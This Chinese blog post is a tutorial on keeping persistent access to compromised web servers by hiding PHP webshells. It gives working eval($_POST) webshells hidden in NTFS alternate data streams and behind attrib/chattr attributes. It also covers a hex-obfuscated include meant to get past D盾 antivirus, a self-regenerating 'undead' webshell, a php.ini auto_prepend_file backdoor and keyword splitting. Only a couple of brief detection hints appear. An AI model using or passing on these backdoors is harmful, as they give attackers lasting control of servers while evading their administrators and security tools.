權(quán)限維持——牧馬隱藏技巧

本文僅作學(xué)習(xí)記錄,如有侵權(quán),請(qǐng)聯(lián)系刪除!

修改文件屬性:


  • Windows

使用attrib命令,參數(shù)說明如下:

+r 設(shè)置只讀屬性
-r 取消只讀屬性
+a 設(shè)置存檔屬性
-a 取消存檔屬性
+s 設(shè)置系統(tǒng)屬性
-s 取消系統(tǒng)屬性
+h 設(shè)置隱藏屬性
-h 取消隱藏屬性
/s 顯示目錄下所有文件的屬性
/d 將attrib和任意命令行選項(xiàng)應(yīng)用到目錄

attrib +s +h webshell.php

即使開啟了顯示隱藏的文件或是只使用dir顯示都是看不見的

檢測(cè)手段:

dir /A
木馬文件查殺

  • Linux:

在Linux中,使用chattr命令來防止root和其他管理用戶誤刪除和修改重要文件及目錄,此權(quán)限用ls -l是查看不出來的,從而達(dá)到隱藏權(quán)限的目的。

a:讓文件或目錄僅供附加用途。
b:不更新文件或目錄的最后存取時(shí)間。
c:將文件或目錄壓縮后存放。
d:將文件或目錄排除在傾倒操作之外。
i:不得任意更動(dòng)文件或目錄。
s:保密性刪除文件或目錄。
S:即時(shí)更新文件或目錄。
u:預(yù)防意外刪除。

chattr +i evil.php 鎖定文件
lsattr evil.php 屬性查看
chattr -i evil.php 解除鎖定
rm -rf evil.php 刪除文件

利用ADS流創(chuàng)建文件:


之前我只知道可以通過ADS流模式突破進(jìn)而創(chuàng)建文件夾,這還是udf提權(quán)的技巧,但實(shí)際我對(duì)ADS是很陌生的,這里簡(jiǎn)單學(xué)習(xí)一波~

NTFS交換數(shù)據(jù)流(alternate data streams簡(jiǎn)稱ADS)是NTFS磁盤格式的一個(gè)特性。

一個(gè)完整的流的格式為:

<filename>:<stream name>:<stream type>

    1. 主流即我們平時(shí)可以看見的可以存儲(chǔ)數(shù)據(jù)的文件。而非主文件流寄宿于主文件流中,無法直接讀取。
    1. 修改宿主文件的內(nèi)容或流的內(nèi)容,不會(huì)對(duì)彼此造成影響。
    1. 流類型總是以$符號(hào)作為開始,NTFS文件系統(tǒng)中的文件至少包含一個(gè)主流,也就是data流($DATA),默認(rèn)流名為空。
    1. ADS可以省略流名,但不能省略流類型。
    1. NTFS文件系統(tǒng)中的文件夾沒有data流,但可以指派data流,文件夾的主流為directory流($INDEX_ALLOCATION),流名默認(rèn)為$I30

在命令行中echo一個(gè)數(shù)據(jù)流從而創(chuàng)建一個(gè)ADS隱藏文件

echo ^<?php @eval($_POST['pass']);?^> > index.php:shell.jpg

這樣生成了一個(gè)不可見的shell.jpg,type dir del命令都不行
我們只能看見一個(gè)index.php文件,且內(nèi)容為空

這里做個(gè)解釋:
對(duì)于windows環(huán)境的服務(wù)器,上傳test.php:.jpg類型的文件,當(dāng)文件傳到服務(wù)端時(shí),windows會(huì)將該文件識(shí)別成ADS,從而認(rèn)為其宿主文件名為test.php而將.jpg識(shí)別為流名。
通過notepad test.php:.jpg可以查看內(nèi)容,所以test.php內(nèi)容為空是正常的。

命令行輸入完整的文件名即可通過notepad進(jìn)行編輯

雖然我們已經(jīng)將文件隱藏了,都是木馬但并不能夠起作用,這里就需要用到文件包含:

<?php include('index.php:shell.jpg');?>

然后直接用蟻劍去連接即可
后面驚奇地發(fā)現(xiàn)這個(gè)php包含文件居然沒有被D盾查殺

這里利用PHP可變變量進(jìn)行二次轉(zhuǎn)換加上對(duì)包含的文件名進(jìn)行hex處理進(jìn)行免殺繞過

<?php
$a="696E6465782E7068703"."A7368656C6C2E6A7067";
$b="a";
include(PACK('H*',$$b))
?>

不死馬:

<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__);
while(1){
file_put_contents('webshell.php','<?php @eval($_POST["password"]);?>');
sleep(5);
}?>

在每次刪除后的5秒鐘之后又會(huì)重新生成一個(gè)新的webshell.php文件,若要徹底刪除文件最好的方法是將web服務(wù)停止了再刪除。

php.ini:

利用原理:訪問一個(gè)php文件,在文件執(zhí)行之前自動(dòng)執(zhí)行牧馬文件:

1、在php.ini中找到配置項(xiàng),修改auto_prepend_file:

auto_prepend_file =shell.dll

2、修改include_path
修改為存在后門文件的絕對(duì)路徑

# ; Windows: "\path1;\path2"
include_path = ".;c:\php\includes;D:\phpstudy_pro\666"

3、在include_path指定的路徑上創(chuàng)建webshell.dll文件:

<?php @eval($_POST[pass]);?>

然后重啟Web應(yīng)用,用蟻劍連接任一可以訪問到的php文件即可

關(guān)鍵字拆分與文件包含:


將webshell拆分成兩個(gè)部分:

<?php @eval($_POST[pass]);?>

<?php
$a = $_POST[pass];
?>

<?php
include "a.php";
@eval($a);
?>

參考如下:


木馬隱藏技巧
NTFS ADS的前世今生

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。
禁止轉(zhuǎn)載,如需轉(zhuǎn)載請(qǐng)通過簡(jiǎn)信或評(píng)論聯(lián)系作者。

友情鏈接更多精彩內(nèi)容